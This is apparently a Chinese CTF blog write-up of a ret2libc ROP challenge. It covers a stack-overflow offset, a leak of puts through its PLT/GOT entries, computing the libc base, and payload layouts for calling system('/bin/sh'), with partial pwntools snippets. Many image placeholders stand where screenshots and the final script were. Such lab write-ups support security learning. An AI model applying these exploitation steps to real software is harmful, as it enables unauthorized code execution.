PWN-ROP

题目:给出PWN2文件和libc

在这里插入图片描述
发生栈溢出。

查看:

文件类型及其保护方法
在这里插入图片描述
找system和bin_sh都么有
在这里插入图片描述
在这里插入图片描述
所以只能利用libc文件

理论

在这里插入图片描述
在这里插入图片描述

思路

由于libc的延迟绑定机制,需要选择已经==执行过的函数==作为泄漏函数,这里我们选择put()//输出一句话

计算偏移量=92
但是在gdb里得出offset=91,这是错的。
在这里插入图片描述
在ida中查看main函数的汇编代码的一部分,开辟了58h个空间,加上esp的4个一共5C个,也就是十进制92,与上面得出错误的相差1。不知道为什么。。
在这里插入图片描述

构造payload1:==目的:== 得到puts的地址:puts_addr

1
2
payload=
填充满偏移量的长度 + puts的plt地址_p32(puts_plt) + main函数的地址_p32(main) + puts的got地址_p32(puts_got)

==填充满偏移量的长度== =92=5C h ,下同。
==p32(main)== 在ida中查看=0x08048519
在这里插入图片描述
==p32(puts_plt):==
puts_plt=elf.plt['puts']
==p32(puts_got):==
puts_got=elf.got['puts']

//这里elf的用法因为:elf=ELF('./pwn2')

==puts_addr:==
puts_addr=u32(p.recv([0:4]))

打印地址用到的代码是print "puts_addr:"+hex(puts_addr),下同。

构造payload2 ==目的:== 由puts的地址推导出system和’/bin/sh’的地址

1
2
payload=
填充满偏移量的长度 +system地址_p32(system) + 4个‘b’ + '/bin/sh'地址_p32(bin_sh)

==p32(system):==

1
2
3
4
puts_libc=libc.symbols['puts']
libc_base=puts_addr-puts_libc
sys_libc=libc.symbols['system']
sys_addr=libc_base+sys_libc //至此得到了p32(sys_addr)

==p32(bin_sh):==

1
bin_sh_addr=libc_base+next(libc.search('/bin/sh'))      ///至此得到了p32(bin_sh_addr)

//这里libc的用法因为:libc=ELF('libc.so.6')

脚本

在这里插入图片描述
脚本是正确的,但是python 脚本.py之后报错:是最后一句interactive的问题,在别人电脑上就又没有这个问题。。。

/br
/br
/br
/br
一些没用的图:
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述